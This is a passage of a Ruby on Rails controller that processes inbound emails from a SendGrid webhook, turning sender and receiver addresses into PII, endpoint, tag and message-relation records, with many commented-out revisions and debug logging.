inbound_email_params[field_mapper[:body_text]],\n :body_html => inbound_email_params[field_mapper[:body_html]],\n :from => inbound_email_params[field_mapper[:from]],\n :to => inbound_email_params[field_mapper[:to]],\n :subject => inbound_email_params[field_mapper[:subject]],\n :cc => inbound_email_params[field_mapper[:cc]],\n :dkim => inbound_email_params[field_mapper[:dkim]],\n :spf => inbound_email_params[field_mapper[:spf]],\n :envelope => inbound_email_params[field_mapper[:envelope]],\n :charsets => inbound_email_params[field_mapper[:charsets]],\n :spam_score => inbound_email_params[field_mapper[:spam_score]],\n :spam_report => inbound_email_params[field_mapper[:spam_report]],\n :attachment_count => inbound_email_params[field_mapper[:attachment_count]]\n )\n\n unless @inbound_email.save\n error_display(\"Error creating inbound_email:#{@inbound_email.errors}\", @inbound_email.errors, :error, logtag) \n return\n end # end unless @inbound_email ...\n logger.info(\"#{File.basename(__FILE__)}:#{self.class}:#{Time.now}:create:#{logtag}, created inbound_email with id:#{@inbound_email.id}\")\n sender_str = inbound_email_params[field_mapper[:from]]\n logger.debug(\"#{File.basename(__FILE__)}:#{self.class}:#{Time.now}:create:#{logtag}, sender_str = inbound_email_params[field_mapper[:from]]:#{inbound_email_params[field_mapper[:from]]}\")\n # If not from sendgrid server url then don't use the sender_str\n # make it anonymous or use session\n if !self.request.path.match(/#{Constants::SENDGRID_PARSE_URL}/) # or !Constants::SENDGRID_SMTP_WHITELIST.include?(self.request.env['REMOTE_ADDR'])\n # Check for session id\n # CODE!!!\n # else use anonymous\n sender_str = \"anonymous#{Constants::MEANT_IT_PII_SUFFIX}\" if !admin?\n end # end if !self.request.path.match(/#{Constants::SENDGRID_PARSE_URL}/)\n sender_email_hash = ControllerHelper.parse_email(sender_str)\n sender_str = sender_email_hash[ControllerHelper::EMAIL_STR]\n sender_nick_str = sender_email_hash[ControllerHelper::EMAIL_NICK_STR]\n # Parse sender string to derive nick and email address\n # If sender_nick_str is email, e.g., some smtp servers provide\n # \"hello_kitty@sanrio.com <hello_kitty@sanrio.com>\" then we\n # don't use the nick\n sender_nick_str = nil if !sender_nick_str.nil? and !sender_nick_str.match(/.*@.*\\..*/).nil?\n logger.info(\"#{File.basename(__FILE__)}:#{self.class}:#{Time.now}:create:#{logtag}, sender_str:#{sender_str}\")\n logger.info(\"#{File.basename(__FILE__)}:#{self.class}:#{Time.now}:create:#{logtag}, sender_nick_str:#{sender_nick_str}\")\n sender_email_addr = inbound_email_params[field_mapper[:to]]\n logger.debug(\"#{File.basename(__FILE__)}:#{self.class}:#{Time.now}:create:#{logtag}, sender_email_addr = inbound_email_params[field_mapper[:to]]:#{inbound_email_params[field_mapper[:to]]}\")\n message_type_str = ControllerHelper.parse_message_type_from_email_addr(sender_email_addr, logtag)\n logger.info(\"#{File.basename(__FILE__)}:#{self.class}:#{Time.now}:create:#{logtag}, message_type_str:#{message_type_str}\")\n # Create sender EndPoint\n sender_pii_hash = ControllerHelper.get_pii_hash(sender_str)\n logger.info(\"#{File.basename(__FILE__)}:#{self.class}:#{Time.now}:create:#{logtag}, sender_pii_hash:#{sender_pii_hash.inspect}\")\n pii_cond = \"found\"\n @sender_pii = Pii.find_or_create_by_pii_value_and_pii_type_and_pii_hide(sender_pii_hash[ControllerHelper::PII_VALUE_STR], sender_pii_hash[ControllerHelper::PII_TYPE], sender_pii_hash[ControllerHelper::PII_HIDE]) do |pii_obj|\n pii_cond = \"created\"\n end # end Pii.find_or_create_by_pii ...\n logger.info(\"#{File.basename(__FILE__)}:#{self.class}:#{Time.now}:create:#{logtag}, #{pii_cond} sender_pii, pii_value:#{@sender_pii.pii_value}\")\n unless @sender_pii.errors.empty?\n @error_obj_arr << @sender_pii\n error_display(\"Error creating sender_pii '#{sender_str}':#{@sender_pii.errors}\", @sender_pii.errors, :error, logtag)\n return\n end # unless @sender_pii.errors.empty?\n#20110628a @sender_endPoint = @sender_pii.endPoint\n#20110628a : Start\n sender_endPoints = @sender_pii.endPoints\n sender_endPoints_arr = sender_endPoints.select { |elem| elem.creator_endpoint_id == elem.id }\n if !sender_endPoints_arr.nil?\n @sender_endPoint = sender_endPoints_arr[0]\n if sender_endPoints_arr.size > 1\n logger.warn(\"#{File.basename(__FILE__)}:#{self.class}:#{Time.now}:create:#{logtag}, more than one sender_endPoints with id == creator_endpoint_id, sender_endPoints_arr:#{sender_endPoints_arr.inspect}\")\n end # end if sender_endPoints_arr.size > 1\n end # end if sender_endPoints_arr.nil?\n#20110628a : End\n if @sender_endPoint.nil?\n#20110628a @sender_endPoint = @sender_pii.create_endPoint(:nick => sender_nick_str, :start_time => Time.now)\n @sender_endPoint = @sender_pii.endPoints.create(:nick => sender_nick_str, :start_time => Time.now)\n # Save the association\n @sender_endPoint.pii = @sender_pii\n @sender_endPoint.nick = sender_nick_str\n @sender_endPoint.creator_endpoint_id = @sender_endPoint.id\n unless @sender_endPoint.save\n @error_obj_arr << @sender_endPoint\n error_display(\"Error creating @sender_endPoint '#{@sender_endPoint.inspect}:#{@sender_endPoint.errors}\", @sender_endPoint.errors, :error, logtag)\n return\n end # end unless @sender_endPoint.save\n logger.info(\"#{File.basename(__FILE__)}:#{self.class}:#{Time.now}:create:#{logtag}, created sender_endPoint, @sender_endPoint.inspect:#{@sender_endPoint.inspect}\")\n @sender_pii.reload\n#20110725add_auth @sender_pii.endPoints << @sender_endPoint\n#20110725add_auth unless @sender_pii.save\n#20110725add_auth @error_obj_arr << @sender_pii\n#20110725add_auth error_display(\"Error saving @sender_pii'#{@sender_pii.inspect}:#{@sender_pii.errors}\", @sender_pii.errors, :error, logtag)\n#20110725add_auth return\n#20110725add_auth end # end unless @sender_pii.save\n logger.info(\"#{File.basename(__FILE__)}:#{self.class}:#{Time.now}:create:#{logtag}, acquired sender_endPoint with id:#{@sender_endPoint.id}\")\n else\n logger.info(\"#{File.basename(__FILE__)}:#{self.class}:#{Time.now}:create:#{logtag}, found sender_endPoint, @sender_endPoint.inspect:#{@sender_endPoint.inspect}\")\n end # end if @sender_endPoint.nil?\n logger.debug(\"#{File.basename(__FILE__)}:#{self.class}:#{Time.now}:create:#{logtag}, @sender_endPoint.entities:#{@sender_endPoint.entities}\")\n#20110713 if @sender_endPoint.entities.empty?\n#20110713 # Create person\n#20110713 @person = ControllerHelper.find_or_create_person_by_email(sender_nick_str, sender_str, logtag)\n#20110713 unless @person.errors.empty?\n#20110713 @error_obj_arr << @person\n#20110713 error_display(\"Error creating person 'name:#{sender_nick_str}, email:#{sender_str}:#{@person.errors}\", @person.errors, :error, logtag)\n#20110713 return\n#20110713 end # end unless @person.errors.empty?\n#20110713 # Create an entity having property_document with sender email\n#20110713 entity_collection = Entity.where(\"property_document_id = ?\", @person.id.to_s)\n#20110713 logger.debug(\"#{File.basename(__FILE__)}:#{self.class}:#{Time.now}:create:#{logtag}, for @person.id:#{@person.id}, entity_collection.inspect:#{entity_collection.inspect}\")\n#20110713 if entity_collection.empty?\n#20110713 @entity = Entity.create(:property_document_id => @person.id)\n#20110713 else\n#20110713 @entity = entity_collection[0]\n#20110713 end # end if entity_collection.empty?\n#20110713 unless @entity.errors.empty?\n#20110713 @error_obj_arr << @entity\n#20110713 error_display(\"Error creating entity 'property_document_id:#{@person.id}':#{@entity.errors}\", @entity.errors, :error, logtag)\n#20110713 return\n#20110713 end # end unless @entity.errors.empty?\n#20110713 # Link entity to the @sender_endPoint\n#20110713 if @entity.errors.empty?\n#20110713 # We cannot just do @entity.endPoints << @sender_endPoint\n#20110713 # because EntityEndPointRels.verification_type must not be null\n#20110713 @entityEndPointRel1 = @entity.entityEndPointRels.create(:verification_type => VerificationTypeValidator::VERIFICATION_TYPE_EMAIL)\n#20110713 @entityEndPointRel1.endpoint_id = @sender_endPoint.id\n#20110713 unless @entityEndPointRel1.save\n#20110713 @error_obj_arr << @entityEndPointRel1\n#20110713 error_display(\"Error creating entityEndPointRel 'entity:#{@entity.name} relate @sender_endPoint:#{@sender_endPoint.id}':#{@entityEndPointRel1.errors}\", @entityEndPointRel1.errors, :error, logtag)\n#20110713 return\n#20110713 end # end unless @entityEndPointRel1.save\n#20110713 end # end if @entity.errors.empty?\n#20110713 end # end if @sender_endPoint.entities.empty?\n # Look at subject if it's not nil\n # else use body_text\n input_str = inbound_email_params[field_mapper[:subject]]\n if input_str.nil? or input_str.empty?\n input_str = inbound_email_params[field_mapper[:body_text]]\n end # end if input_str.nil? or input_str.empty?\n logger.info(\"#{File.basename(__FILE__)}:#{self.class}:#{Time.now}:create:#{logtag}, input_str:#{input_str}\")\n # Decide what to do on nick, pii, message, tags...\n # Case:\n # nick (yes) :xxx (no) ;yyy (*) tags (yes): sender (global id-able source)\n # Dup input_str in case we need it\n # Don't manipulate the original input_str since it is used\n # to re-populate form on failures\n input_str_dup = input_str.dup\n meantItInput_hash = ControllerHelper.parse_meant_it_input(input_str_dup, logtag)\n message_str = meantItInput_hash[ControllerHelper::MEANT_IT_INPUT_MESSAGE]\n receiver_pii_str = meantItInput_hash[ControllerHelper::MEANT_IT_INPUT_RECEIVER_PII]\n receiver_pii_hash = ControllerHelper.get_pii_hash(receiver_pii_str)\n receiver_pii_str = receiver_pii_hash[ControllerHelper::PII_VALUE_STR]\n logger.info(\"#{File.basename(__FILE__)}:#{self.class}:#{Time.now}:create:#{logtag}, receiver_pii_hash:#{receiver_pii_hash.inspect}\")\n receiver_nick_str = meantItInput_hash[ControllerHelper::MEANT_IT_INPUT_RECEIVER_NICK]\n tag_str_arr = meantItInput_hash[ControllerHelper::MEANT_IT_INPUT_TAGS]\n\n # Four conditions:\n # 1. receiver_pii_str: empty, receiver_nick_str: empty\n # 2. receiver_pii_str: yes, receiver_nick_str: yes\n # 3. receiver_pii_str: yes, receiver_nick_str: empty\n # 4. receiver_pii_str: empty, receiver_nick_str: yes\n logger.info(\"#{File.basename(__FILE__)}:#{self.class}:#{Time.now}:create:#{logtag}, receiver_pii_str:#{receiver_pii_str}, receiver_nick_str:#{receiver_nick_str}\")\n\n # Case 1. receiver_pii_str: empty, receiver_nick_str: empty\n # Cannot identify receiver\n if (receiver_pii_str.nil? or receiver_pii_str.empty?) and (receiver_nick_str.nil? or receiver_nick_str.empty?)\n logger.info(\"#{File.basename(__FILE__)}:#{self.class}:#{Time.now}:create:#{logtag}, case 1\")\n @receiver_endPoint = EndPoint.new\n @error_obj_arr << @receiver_endPoint\n error_display(\"Error finding/creating @receiver_endPoint, both receiver_nick and receiver_pii are empty\", @receiver_endPoint.errors, :error, logtag)\n return\n end # end Case 1. ... if (receiver_pii_str.nil? or ...\n\n # Case 2. receiver_pii_str: yes, receiver_nick_str: yes\n # or\n # Case 3. receiver_pii_str: yes, receiver_nick_str: empty\n # We need to find_or_create the receiver_pii\n if (\n ((!receiver_pii_str.nil? and !receiver_pii_str.empty?) and (!receiver_nick_str.nil? and !receiver_nick_str.empty?)) or\n ((!receiver_pii_str.nil? and !receiver_pii_str.empty?) and (receiver_nick_str.nil? or receiver_nick_str.empty?))\n )\n logger.info(\"#{File.basename(__FILE__)}:#{self.class}:#{Time.now}:create:#{logtag}, case 2, 3\")\n # Create receiver pii if it does not possess one\n pii_cond = \"found\"\n @receiver_pii = Pii.find_or_create_by_pii_value_and_pii_type_and_pii_hide(receiver_pii_hash[ControllerHelper::PII_VALUE_STR], receiver_pii_hash[ControllerHelper::PII_TYPE], receiver_pii_hash[ControllerHelper::PII_HIDE]) do |pii_obj|\n pii_cond = \"created\"\n end # end Pii.find_or_create_by_pii ...\n logger.info(\"#{File.basename(__FILE__)}:#{self.class}:#{Time.now}:create:#{logtag}, #{pii_cond} receiver_pii, pii_value:#{@receiver_pii.pii_value} - case 2, 3\")\n # If @receiver_pii has an entity prefix \n # automatically tie it to the prefix\n if (receiver_pii_match_arr = ControllerHelper.auto_entity_domain?(@receiver_pii.pii_value))\n receiver_entity = Entity.find(receiver_pii_match_arr[ControllerHelper::AUTO_ENTITY_DOMAIN_ENTITY_ID]) if !receiver_pii_match_arr.nil?\n logger.debug(\"#{File.basename(__FILE__)}:#{self.class}:#{Time.now}:create:#{logtag}, receiver_entity.inspect:#{receiver_entity.inspect}\")\n if !receiver_entity.nil?\n entityEndPointRel_exist = receiver_entity.endPoints.collect { |ep_elem| ep_elem.pii.pii_value if !ep_elem.pii.nil? }.include?(@receiver_pii.pii_value)\n logger.debug(\"#{File.basename(__FILE__)}:#{self.class}:#{Time.now}:create:#{logtag}, entityEndPointRel_exist.inspect:#{entityEndPointRel_exist.inspect}\")\n if !entityEndPointRel_exist\n # Since entity can only tie to endpoints, we use the sender endpoint\n # NOTE: a receiver has many endpoints, each with own nick so we\n # tie to only the receiver endpoint which is its sending endpoint\n ep_cond = \"found\"\n receiver_sender_endPoint = ControllerHelper.find_or_create_sender_endPoint_and_pii(@receiver_pii.pii_value, @receiver_pii.pii_type, @receiver_pii.pii_hide)\n entityEndPointRel1 = receiver_entity.entityEndPointRels.create(:verification_type => VerificationTypeValidator::VERIFICATION_TYPE_AUTO_ENTITY_DOMAIN)\n entityEndPointRel1.endpoint_id = receiver_sender_endPoint.id\n unless entityEndPointRel1.save\n logger.error(\"#{File.basename(__FILE__)}:#{self.class}:#{Time.now}:create:#{logtag}, entityEndPointRel1.errors.inspect:#{entityEndPointRel1.errors.inspect}\")\n end # end unless entityEndPointRel1.save\n logger.info(\"#{File.basename(__FILE__)}:#{self.class}:#{Time.now}:create:#{logtag}, created entityEndPointRel, entityEndPointRel1.inspect:#{entityEndPointRel1.inspect}\")\n receiver_sender_endPoint.reload\n end # end if !entityEndPointRel_exist\n end # end if !receiver_entity.nil?\n end # end if (receiver_pii_match_arr = ControllerHelper.auto_entity_domain? ...\n unless @receiver_pii.errors.empty?\n @error_obj_arr << @receiver_pii\n error_display(\"Error creating receiver_pii '#{receiver_pii_str}'\", @receiver_pii.errors, :error, logtag) \n return\n end # end unless @receiver_pii.errors.empty?\n end # end get @receiver_pii ... if (receiver_pii_str.nil? or ...\n\n # Case 2. receiver_pii_str: yes, receiver_nick_str: yes\n # or\n # Case 4. receiver_pii_str: empty, receiver_nick_str: yes\n # Need to find EndPoint\n if (\n ((!receiver_pii_str.nil? and !receiver_pii_str.empty?) and (!receiver_nick_str.nil? and !receiver_nick_str.empty?)) or\n ((receiver_pii_str.nil? or receiver_pii_str.empty?) and (!receiver_nick_str.nil? and !receiver_nick_str.empty?))\n )\n logger.info(\"#{File.basename(__FILE__)}:#{self.class}:#{Time.now}:create:#{logtag}, case 2, 4\")\n ep_cond = \"found\"\n @receiver_endPoint = EndPoint.find_or_create_by_nick_and_creator_endpoint_id(:nick => receiver_nick_str, :creator_endpoint_id => @sender_endPoint.id, :start_time => Time.now) do |ep_obj|\n ep_cond = \"created\"\n end # end @receiver_endPoint ...\n logger.info(\"#{File.basename(__FILE__)}:#{self.class}:#{Time.now}:create:#{logtag}, #{ep_cond} receiver_endPoint - case 2, 4\")\n end # end Cases 2 and 4 ...\n\n # For Case 2. receiver_pii_str: yes, receiver_nick_str: yes \n # and they have been linked before, we check validity\n # If @receiver_pii and @receiver_endPoints exist and there were no \n # errors creating them they must point to each other if they\n # are not pointing to nil.\np \"### @receiver_pii.inspect:#{@receiver_pii.inspect}\"\np \"### @receiver_endPoint.inspect:#{@receiver_endPoint.inspect}\"\n#20110628a : Start\n # We are only interested in endPoints created by us\n # They may have different nicks/roles/empty nicks\n # Resist the urge to populate empty nicks because if\n # a user sends to just pii, i.e., without nick, then we update\n # the endPoint with empty nick.\n our_receiver_pii_endPoints = []\n our_receiver_pii_endPoints = @receiver_pii.endPoints.select { |elem| elem.creator_endpoint_id == @sender_endPoint.id } if !@receiver_pii.nil? and !@receiver_pii.endPoints.nil?\np \"### our_receiver_pii_endPoints:#{our_receiver_pii_endPoints.inspect}\"\n#20110628a : End\n if (!@receiver_pii.nil? and !@receiver_pii.errors.any?) and (!@receiver_endPoint.nil? and !@receiver_endPoint.errors.any?)\n#20110628a : Start\n # Endpoint can only have one pii so need to check that\n if !@receiver_endPoint.pii.nil? and (@receiver_endPoint.pii.pii_value != @receiver_pii.pii_value)\n @error_obj_arr << @receiver_endPoint\n error_display(\"receiver_endPoint '#{@receiver_endPoint.nick}' already has pii_value '#{@receiver_endPoint.pii.pii_value}' so it cannot accept new value '#{receiver_pii_str}'\", @receiver_endPoint.errors, :error, logtag) \n return\n end # end if @receiver_endPoint.pii.pii_value ...\n # Since we permite a user to create mulitple nicks/roles\n # tied to a pii, e.g., manager (xxx@yyy.com), lover (xxx@yyy.com)\n # we just need to check that the new nick endpoint does not exist,\n # before adding them. If it exists use it as exsiting endpoints.\n # This also handles if initially receiver is just nick (endpoint created)\n # later the nick is accompanied with pii.\n if our_receiver_pii_endPoints.index(@receiver_endPoint).nil?\n @receiver_endPoint.pii = @receiver_pii\n unless @receiver_endPoint.save\n @error_obj_arr << @receiver_endPoint\n error_display(\"Error saving receiver_pii '#{@receiver_pii.inspect}' to receiver_endPoint '{@receiver_endPoint.inspect}'\", @receiver_endPoint.errors, :error, logtag) \n return\n end # end unless @receiver_endPoint.save\n @receiver_pii.reload\n#20110725add_auth @receiver_pii.endPoints << @receiver_endPoint\n#20110725add_auth unless @receiver_pii.save\n#20110725add_auth @error_obj_arr << @receiver_pii\n#20110725add_auth error_display(\"Error saving @receiver_pii'#{@receiver_pii.inspect}:#{@receiver_pii.errors}\", @receiver_pii.errors, :error, logtag)\n#20110725add_auth return\n#20110725add_auth end # end unless @receiver_pii.save\n end # end if our_receiver_pii_endPoints.index(@receiver_endPoint).nil?\n#20110628a : End\n#20110628a : End\n#20110628a # We have an endpoint (nick) and pii\n#20110628a # Each nick/pii can either point to each other (OK)\n#20110628a # another entity (ERROR), or nothing.\n#20110628a # There are 9 combos:\n#20110628a # The only valid ones are:\n#20110628a # Case #A: nick/pii points to nil\n#20110628a p \"AAAAAAAAAAA @receiver_pii:#{@receiver_pii.inspect}\"\n#20110628a p \"AAAAAAAAAAA @receiver_endPoint:#{@receiver_endPoint.inspect}\"\n#20110628a p \"AAAAAAAAAAA @receiver_endPoint.pii:#{@receiver_endPoint.pii.inspect}\"\n#20110628a if @receiver_pii.endPoint.nil? and @receiver_endPoint.pii.nil?\n#20110628aAA if receiver_pii_endPoints.empty? and @receiver_endPoint.pii.nil?\n#20110628a p \"\\nAAAAAAAAAAA NORMAL!!!\\n\"\n#20110628a @receiver_pii.endPoint = @receiver_endPoint\n#20110628a @receiver_pii.save\n#20110628aAA @receiver_endPoint.pii = @receiver_pii\n#20110628aAA @receiver_endPoint.save\n#20110628a : Start\n#20110628a # Case #Aa: receiver_pii points to some empty nick_name\n#20110628a elsif !receiver_pii_endPoints.empty? and @receiver_endPoint.pii.nil?\n#20110628a#20110628a : End\n#20110628a # Case #B: nick points to nothing, pii points to something but has no nick\n#20110628a # and has the same creator_endpoint_id\n#20110628a elsif (!@receiver_pii.endPoint.nil? and @receiver_pii.endPoint.nick.nil?) and @receiver_endPoint.pii.nil?\n#20110628ap \"\\n!!!!!! YOU CAN'T BE SERIOUS!!!!!\\n\"\n#20110628a @receiver_pii.endPoint.nick = receiver_nick_str\n#20110628a @receiver_pii.save\n#20110628a @receiver_endPoint.destroy\n#20110628a @receiver_endPoint = @receiver_pii.endPoint\n#20110628a # Case #C: nick points to this pii and vice versa\n#20110628a elsif (!@receiver_pii.endPoint.nil? and !@receiver_endPoint.pii.nil? and @receiver_pii.endPoint == @receiver_endPoint and @receiver_endPoint.pii == @receiver_pii)\n#20110628ap \"\\nHUH!!!!?!??! NORMAL!!!\\n\"\n#20110628a # OK\n#20110628a elsif (!@receiver_pii.endPoint.nil? and !@receiver_endPoint.pii.nil? and @receiver_pii.endPoint != @receiver_endPoint and @receiver_endPoint.pii != @receiver_pii)\n#20110628a @error_obj_arr << @receiver_endPoint\n#20110628a error_display(\"receiver_endPoint '#{@receiver_endPoint.nick}' already has pii_value '#{@receiver_endPoint.pii.pii_value}' so it cannot accept new value '#{receiver_pii_str}'\", @receiver_endPoint.errors, :error, logtag) \n#20110628a return\n#20110628a else\n#20110628a # Should not happen unless corrupted\n#20110628a @error_obj_arr << @receiver_endPoint\n#20110628a error_display(\"receiver_endPoint 'nick:#{@receiver_endPoint.nick}, pii:#{@receiver_endPoint.pii.inspect}' conflicts with receiver_pii 'pii:#{@receiver_pii.pii_value}, endPoint:#{@receiver_pii.endPoint.inspect}\", @receiver_endPoint.errors, :error, logtag) \n#20110628a return\n#20110628a end # end if @receiver_pii.endPoint.nil? and @receiver_endPoint.pii.nil?\n\n#20110627a if !@receiver_pii.endPoint.nil? and !@receiver_endPoint.pii.nil?\n#20110627a unless (@receiver_pii.endPoint == @receiver_endPoint and @receiver_endPoint.pii = @receiver_pii)\n#20110627a @error_obj_arr << @receiver_endPoint\n#20110627a error_display(\"receiver_endPoint '#{@receiver_endPoint.nick}' already has pii_value '#{@receiver_endPoint.pii.pii_value}' so it cannot accept new value '#{receiver_pii_str}'\", @receiver_endPoint.errors, :error, logtag) \n#20110627a return\n#20110627a end # end unless @receiver_pii.endPoint == ...\n#20110627a else\n#20110627a if @receiver_pii.endPoint.nil?\n#20110627a @receiver_pii.endPoint = @receiver_endPoint\n#20110627a end # end if @receiver_pii.endPoint.nil?\n#20110627a if @receiver_endPoint.pii.nil?\n#20110627a @receiver_endPoint.pii = @receiver_pii\n#20110627a end # end if @receiver_endPoint.pii.nil?\n#20110627a end # end if !@receiver_pii.endPoint.nil? and !@receiver_endPoint.pii.nil?\n end # end if (!@receiver_pii.nil? and !@receiver_pii.errors.any?) ...\n\n # For Case 3. receiver_pii_str: yes, receiver_nick_str: empty\n # we create endPoint and tie receiver_pii to it\n if ((!receiver_pii_str.nil? and !receiver_pii_str.empty?) and (receiver_nick_str.nil? or receiver_nick_str.empty?))\n#20110628a : Start\n # Check if we already have endPoint with no nick. If so use it.\n receiver_endPoint_no_nick_arr = our_receiver_pii_endPoints.select { |elem| elem.nick.nil? }\n @receiver_endPoint = receiver_endPoint_no_nick_arr[0] if !receiver_endPoint_no_nick_arr.nil? and receiver_endPoint_no_nick_arr.size > 0\n if receiver_endPoint_no_nick_arr.size > 1\n logger.warn(\"#{File.basename(__FILE__)}:#{self.class}:#{Time.now}:create:#{logtag}, more than one receiver_endPoints with nick = nil, receiver_endPoint_no_nick_arr:#{receiver_endPoint_no_nick_arr.inspect}\")\n end # end if receiver_endPoint_no_nick_arr.size > 1\n#20110628a : End\n#20110628a @receiver_endPoint = EndPoint.create(:creator_endpoint_id => @sender_endPoint.id, :start_time => Time.now)\n @receiver_endPoint = EndPoint.create(:creator_endpoint_id => @sender_endPoint.id, :start_time => Time.now) if @receiver_endPoint.nil?\n logger.info(\"#{File.basename(__FILE__)}:#{self.class}:#{Time.now}:create:#{logtag}, created receiver_endPoint - case 3\")\n @receiver_endPoint.pii = @receiver_pii\n unless @receiver_endPoint.save\n @error_obj_arr << @receiver_endPoint\n error_display(\"Error saving receiver_pii '#{@receiver_pii.inspect}' to receiver_endPoint '{@receiver_endPoint.inspect}'\", @receiver_endPoint.errors, :error, logtag) \n return\n end # end unless @receiver_endPoint.save\n @receiver_pii.reload\n#20110725add_auth @receiver_pii.endPoints << @receiver_endPoint\n#20110725add_auth unless @receiver_pii.save\n#20110725add_auth @error_obj_arr << @receiver_pii\n#20110725add_auth error_display(\"Error saving @receiver_pii'#{@receiver_pii.inspect}:#{@receiver_pii.errors}\", @receiver_pii.errors, :error, logtag)\n#20110725add_auth return\n#20110725add_auth end # end unless @receiver_pii.save\n end # end if ((!receiver_pii_str.nil? and !receiver_pii_str.empty?) ...\n \n # For Case 4. receiver_pii_str: empty, receiver_nick_str: yes\n # We already have endPoint. Tags, meant_it_rels are tied to endPoints.\n\n # At this stage all Case 2, 3, 4 have @receiver_endPoints\n\n#20110627 @receiver_endPoint = EndPoint.find_or_create_by_nick_and_creator_endpoint_id(:nick => receiver_nick_str, :creator_endpoint_id => @sender_endPoint.id, :start_time => Time.now) do |ep_obj|\n#20110627 logger.info(\"#{File.basename(__FILE__)}:#{self.class}:create:#{logtag}, created receiver_endPoint\")\n#20110627 end # end EndPoint.find_or_create_by ...\n#20110627 if @receiver_endPoint.pii\n#20110627 # Ensure the existing pii is the same otherwise flag error\n#20110627 unless @receiver_endPoint.pii.pii_value == receiver_pii_str or receiver_pii_str.nil? or receiver_pii_str.empty?\n#20110627 @error_obj_arr << @receiver_endPoint\n#20110627 error_display(\"receiver_endPoint '#{@receiver_endPoint.nick}' already has pii_value '#{@receiver_endPoint.pii.pii_value}' so it cannot accept new value '#{receiver_pii_str}'\", @receiver_endPoint.errors, :error, logtag) \n#20110627 return\n#20110627 end # end if @receiver_endPoint.pii != ...\n#20110627 else\n#20110627 # Create receiver pii if it does not possess one\n#20110627 @receiver_pii = Pii.find_or_create_by_pii_value_and_pii_type(receiver_pii_str, PiiTypeValidator::PII_TYPE_EMAIL) do |pii_obj|\n#20110627 logger.info(\"#{File.basename(__FILE__)}:#{self.class}:create:#{logtag}, created receiver_pii\")\n#20110627 end # end Pii.find_or_create_by_pii ...\n#20110627 unless @receiver_pii.errors.empty? or receiver_pii_str.nil? or receiver_pii_str.empty?\n#20110627 @error_obj_arr << @receiver_pii\n#20110627 error_display(\"Error creating receiver_pii '#{receiver_pii_str}'\", @receiver_pii.errors, :error, logtag) \n#20110627 return\n#20110627 end # end unless @receiver_pii.errors.empty?\n#20110627 @receiver_endPoint.pii = @receiver_pii\n#20110627 unless @receiver_endPoint.save\n#20110627 @error_obj_arr << @receiver_endPoint\n#20110627 error_display(\"Error saving receiver_pii '#{@receiver_pii.inspect}' to receiver_endPoint '{@receiver_endPoint.inspect}'\", @receiver_endPoint.errors, :error, logtag) \n#20110627 return\n#20110627 end # end unless @receiver_endPoint.save\n#20110627 end # end if @receiver_endPoint.pii\n\n\n unless @receiver_endPoint.errors.empty?\n @error_obj_arr << @receiver_endPoint\n error_display(\"Error creating @receiver_endPoint '#{@receiver_endPoint.inspect}':#{@receiver_endPoint.errors}\", @receiver_endPoint.errors, :error, logtag)\n return\n end # end unless @receiver_endPoint.errors.empty?\n if !@receiver_endPoint.nil?\n logger.debug(\"#{File.basename(__FILE__)}:#{self.class}:#{Time.now}:create:#{logtag}, tag_str_arr.inspect:#{tag_str_arr.inspect}\")\n # Add tags that are not yet attached to the @receiver_endPoint\n existing_tag_str_arr = @receiver_endPoint.tags.collect { |tag_elem| tag_elem.name }\n logger.debug(\"#{File.basename(__FILE__)}:#{self.class}:#{Time.now}:create:#{logtag}, existing_tag_str_arr:#{existing_tag_str_arr}\")\n#20110628b yet_2b_associated_tag_str_arr = (existing_tag_str_arr - tag_str_arr) + (tag_str_arr - existing_tag_str_arr)\n yet_2b_associated_tag_str_arr = tag_str_arr - existing_tag_str_arr\n logger.debug(\"#{File.basename(__FILE__)}:#{self.class}:#{Time.now}:create:#{logtag}, yet_2b_associated_tag_str_arr:#{yet_2b_associated_tag_str_arr}\")\n yet_2b_associated_tag_str_arr.each { |tag_str_elem|\n norm_tag_str_elem = tag_str_elem.downcase\n tag_cond = \"found\"\n @new_tag = Tag.find_or_create_by_name(norm_tag_str_elem) do |tag_obj|\n tag_cond = \"created\"\n end # end Tag.find_or_create_by ...\n logger.info(\"#{File.basename(__FILE__)}:#{self.class}:#{Time.now}:create:#{logtag}, #{tag_cond} tag:#{norm_tag_str_elem}\")\n unless @new_tag.errors.empty?\n @error_obj_arr << @new_tag\n error_display(\"Error creating new_tag '#{norm_tag_str_elem}':#{@new_tag.errors}\", @new_tag.errors, :error, logtag)\n return\n end # end unless @new_tag.errors.empty?\n @receiver_endPoint.tags << @new_tag\n logger.info(\"#{File.basename(__FILE__)}:#{self.class}:#{Time.now}:create:#{logtag}, created EndPointTagRel.tag\")\n } # end tag_str_arr.each ...\n end # end if !@receiver_endPoint.nil?\n # Create meant_it rel\n if !@sender_endPoint.nil? and !@receiver_endPoint.nil? and !@inbound_email.nil?\n @meantItRel = @sender_endPoint.srcMeantItRels.create(:message_type => message_type_str, :message => message_str, :src_endpoint_id => @sender_endPoint.id, :dst_endpoint_id => @receiver_endPoint.id, :inbound_email_id => @inbound_email.id)\n unless @meantItRel.errors.empty?\n @error_obj_arr << @meantItRel\n error_display(\"Error creating meantItRel 'sender_endPoint.id:#{@sender_endPoint.id}, message_type:#{@meantItRel.message_type}, @receiver_endPoint.id#{@receiver_endPoint.id}':#{@meantItRel.errors}\", @meantItRel.errors, :error, logtag)\n return\n end # end unless @meantItRel.errors.empty?\n logger.info(\"#{File.basename(__FILE__)}:#{self.class}:#{Time.now}:create:#{logtag}, created meantItRel, @meantItRel.inspect:{@meantItRel.inspect}\")\n if @meantItRel.errors.empty?\n if message_type_str == MeantItMessageTypeValidator::MEANT_IT_MESSAGE_OTHER\n # Call mood reasoner\n # CODE!!!!! Implement this in ControllerHelper\n else\n logger.debug(\"#{File.basename(__FILE__)}:#{self.class}:#{Time.now}:create:#{logtag}: creating mood using message_type_str:#{message_type_str}\")\n mood_tag_cond = \"found\"\n @new_mood_tag = Tag.find_or_create_by_name_and_desc(message_type_str, MeantItMoodTagRel::MOOD_TAG_TYPE) do |tag_obj|\n mood_tag_cond = \"created\"\n end # end Tag.find_or_create_by ...\n logger.info(\"#{File.basename(__FILE__)}:#{self.class}:#{Time.now}:create:#{logtag}, #{mood_tag_cond} mood_tag:#{message_type_str}\")\n unless @new_mood_tag.errors.empty?\n @error_obj_arr << @new_mood_tag\n error_display(\"Error creating new_mood_tag '#{message_type_str}':#{@new_mood_tag.errors}\", @new_mood_tag.errors, :error, logtag)\n return\n end # end unless @new_mood_tag.errors.empty?\n @meantItRel.tags << @new_mood_tag\n logger.info(\"#{File.basename(__FILE__)}:#{self.class}:#{Time.now}:create:#{logtag}, created 